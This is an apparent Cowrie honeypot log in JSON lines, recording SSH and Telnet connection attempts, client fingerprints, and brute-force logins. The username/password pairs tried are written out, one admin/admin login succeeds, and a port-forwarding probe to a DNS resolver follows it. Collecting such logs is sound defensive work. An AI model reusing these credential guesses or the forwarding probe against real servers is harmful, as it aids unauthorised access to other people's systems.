{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:41.102690Z","src_ip":"176.32.39.21","session":"830994c7df41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pasha1996","message":"login attempt [root/pasha1996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:41.478420Z","src_ip":"176.32.39.21","session":"830994c7df41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:42.605663Z","src_ip":"176.32.39.21","session":"830994c7df41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37160,"dst_ip":"159.203.135.109","dst_port":23,"session":"53782869ca23","protocol":"telnet","message":"New connection: 128.199.8.54:37160 (159.203.135.109:23) [session: 53782869ca23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:49.666319Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":52220,"dst_ip":"159.203.135.109","dst_port":22,"session":"6abe511d4d68","protocol":"ssh","message":"New connection: 103.172.78.219:52220 (159.203.135.109:22) [session: 6abe511d4d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:53.020503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:53.024286Z","src_ip":"103.172.78.219","session":"6abe511d4d68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:53.271819Z","src_ip":"103.172.78.219","session":"6abe511d4d68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"slava2001","message":"login attempt [root/slava2001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:54.015511Z","src_ip":"103.172.78.219","session":"6abe511d4d68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:55.265639Z","src_ip":"103.172.78.219","session":"6abe511d4d68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":34998,"dst_ip":"159.203.135.109","dst_port":22,"session":"c621ad59cf2e","protocol":"ssh","message":"New connection: 27.71.230.31:34998 (159.203.135.109:22) [session: c621ad59cf2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:07:17.891388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:07:17.909448Z","src_ip":"27.71.230.31","session":"c621ad59cf2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:07:18.145182Z","src_ip":"27.71.230.31","session":"c621ad59cf2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":41852,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe9069102d64","protocol":"ssh","message":"New connection: 103.216.145.2:41852 (10.17.0.5:22) [session: fe9069102d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:07:22.375255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:07:22.381144Z","src_ip":"103.216.145.2","session":"fe9069102d64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:07:22.576504Z","src_ip":"103.216.145.2","session":"fe9069102d64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1q2w3e","message":"login attempt [root/Admin1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:07:22.636596Z","src_ip":"27.71.230.31","session":"c621ad59cf2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:07:23.395415Z","src_ip":"103.216.145.2","session":"fe9069102d64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:07:23.910501Z","src_ip":"27.71.230.31","session":"c621ad59cf2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:07:24.593658Z","src_ip":"103.216.145.2","session":"fe9069102d64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.52325439453125,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:07:38.189451Z","src_ip":"128.199.8.54","session":"53782869ca23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":49592,"dst_ip":"10.17.0.5","dst_port":22,"session":"960c5788f0ca","protocol":"ssh","message":"New connection: 87.251.64.176:49592 (10.17.0.5:22) [session: 960c5788f0ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:07:45.271680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:07:45.277021Z","src_ip":"87.251.64.176","session":"960c5788f0ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:07:45.371405Z","src_ip":"87.251.64.176","session":"960c5788f0ca","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:07:45.655509Z","src_ip":"87.251.64.176","session":"960c5788f0ca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:07:45.752495Z","session":"960c5788f0ca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:07:45.848556Z","src_ip":"87.251.64.176","session":"960c5788f0ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:07:45.955481Z","src_ip":"87.251.64.176","session":"960c5788f0ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":57836,"dst_ip":"159.203.135.109","dst_port":22,"session":"3907bd1dca16","protocol":"ssh","message":"New connection: 80.66.85.226:57836 (159.203.135.109:22) [session: 3907bd1dca16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:10.742854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:10.746793Z","src_ip":"80.66.85.226","session":"3907bd1dca16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:10.839743Z","src_ip":"80.66.85.226","session":"3907bd1dca16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbnfvby","message":"login attempt [root/dbnfvby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:11.121354Z","src_ip":"80.66.85.226","session":"3907bd1dca16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:12.216726Z","src_ip":"80.66.85.226","session":"3907bd1dca16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":60322,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ffc8bf9daa7","protocol":"ssh","message":"New connection: 182.93.50.90:60322 (10.17.0.5:22) [session: 9ffc8bf9daa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:21.081514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:21.086437Z","src_ip":"182.93.50.90","session":"9ffc8bf9daa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:21.301494Z","src_ip":"182.93.50.90","session":"9ffc8bf9daa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jupiter","password":"jupiter","message":"login attempt [jupiter/jupiter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:22.202246Z","src_ip":"182.93.50.90","session":"9ffc8bf9daa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:23.418262Z","src_ip":"182.93.50.90","session":"9ffc8bf9daa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":52326,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3b1f0d740f9","protocol":"ssh","message":"New connection: 43.153.12.68:52326 (10.17.0.5:22) [session: f3b1f0d740f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:24.038256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:24.045791Z","src_ip":"43.153.12.68","session":"f3b1f0d740f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:24.115482Z","src_ip":"43.153.12.68","session":"f3b1f0d740f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"seb","password":"seb","message":"login attempt [seb/seb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:24.419442Z","src_ip":"43.153.12.68","session":"f3b1f0d740f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:25.494090Z","src_ip":"43.153.12.68","session":"f3b1f0d740f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":35454,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a9d872df1f7","protocol":"ssh","message":"New connection: 147.45.211.215:35454 (10.17.0.5:22) [session: 1a9d872df1f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:29.538884Z"}
